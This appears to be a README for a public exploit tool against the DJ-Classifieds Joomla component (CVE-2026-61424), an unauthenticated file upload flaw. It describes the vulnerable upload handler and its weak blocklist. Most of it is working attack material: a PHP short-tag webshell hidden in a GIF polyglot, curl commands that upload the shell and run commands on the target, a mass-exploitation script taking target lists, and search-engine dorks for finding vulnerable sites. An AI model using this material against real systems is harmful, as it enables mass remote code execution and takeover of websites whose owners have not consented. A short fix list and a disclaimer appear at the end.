
DJ-Classifieds Joomla Component Unauthenticated File Upload RCE. 3-string filter bypass via PHP short tags. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2
Unauthenticated arbitrary file upload in DJ-Classifieds for Joomla. The imageupload task endpoint processes file uploads without authentication and relies on a 3-string blocklist (<?php, eval(, base64) that is trivially bypassed using PHP short open tags (<?=). Combined with a GIF polyglot, the uploaded file passes all image validation checks while containing a fully functional PHP webshell.
| Status | Version |
|---|---|
| Vulnerable | 1.0 — 3.11.1 |
| Patched | 3.11.2 (July 20, 2026) |
The upload() method in administrator/components/com_djclassifieds/lib/djupload.php is mapped to the imageupload task with no authentication check and no CSRF token validation.
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method
// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check
$name = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');
// ... writes file to tmp/djupload/<name>
The content scanner only blocklists three literal strings:
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
die('Malicious file detected');
}
This blocks <?php, eval(, and base64 — but not PHP short open tags:
<?=system($_GET['c']);?> ← 0/3 blocked strings → PASSES
PHP short echo tags (<?=) have been enabled by default since PHP 5.4.
GIF89a header + <?=system($_GET['c']);?>index.php?option=com_djclassifieds&task=imageupload with name=shell.gif.gif extension ✓ getimagesize() ✓ no <?php/eval(/base64 ✓tmp/djupload/<shell>.gifhttps://target.com/tmp/djupload/shell.gif?c=idAnonymous scanner probes observed in the wild before disclosure:
POST /index.php?option=com_djclassifieds&task=imageupload
name=<random>.gif filename=<random>.gif
— no cookie, no session, no referer
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt
python cve_2026_61424.py -t target.com
python cve_2026_61424.py -f targets.txt -o shells.txt
$ python cve_2026_61424.py -t target.com
Host : target.com
DJ-Classifieds: YES v3.11.1
Upload : YES
RCE : YES
Shell : https://target.com/tmp/djupload/img_abc123.gif
Output : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
Time : 2.1s
# Step 1 — Upload polyglot shell
curl -sk -X POST \
"https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
-H "Content-Type: image/gif" \
--data-binary @polyglot.gif
# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"
# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"
# DJ-Classifieds component
body="com_djclassifieds"
# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"
# Exposed djupload directory
body="Index of" && body="djupload"
# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"
JFactory::getUser() guest check before upload()JSession::checkToken() on the imageupload taskjpg, jpeg, png, gif)This tool is for educational and authorized security testing only. Use against systems you own or have explicit permission to test. The author assumes no liability for misuse or damage.
Not affiliated with DJ-Extensions or mySites.guru.
| Field | Detail |
|---|
| CVE | CVE-2026-61424 |
| Product | DJ-Classifieds (Joomla extension by DJ-Extensions) |
| CVSS 4.0 | 10.0 (Critical) |
| Type | CWE-434 — Unrestricted File Upload |
| Discovered | Phil Taylor / mySites.guru — July 16, 2026 |
| Exploitation | Confirmed in the wild before disclosure |
| File | Role |
|---|
administrator/components/com_djclassifieds/lib/djupload.php | upload() method — no auth, 3-string filter |
components/com_djclassifieds/controller.php | Routes imageupload task to upload() |
administrator/components/com_djclassifieds/djclassifieds.xml | Version disclosure via <version> tag |
| Flag | Description | Default |
|---|
-t, --target | Single target host | — |
-f, --file | File with targets (one per line, # comments) | — |
-o, --output | Save RCE URLs to file | — |
--threads | Worker threads for mass mode | 30 |
--no-cleanup | Do not delete shell after RCE | False |
--debug | Debug output | False |
| Resource | Link |
|---|
| IONIX Threat Center | ionix.io/threat-center/cve-2026-61424 |
| mySites.guru Discovery | mysites.guru/blog/dj-classifieds-unauthenticated-file-upload |
| DJ-Extensions Security Release | dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release |
| CVE.org Record | cve.org/CVERecord?id=CVE-2026-61424 |
| INCIBE-CERT | incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424 |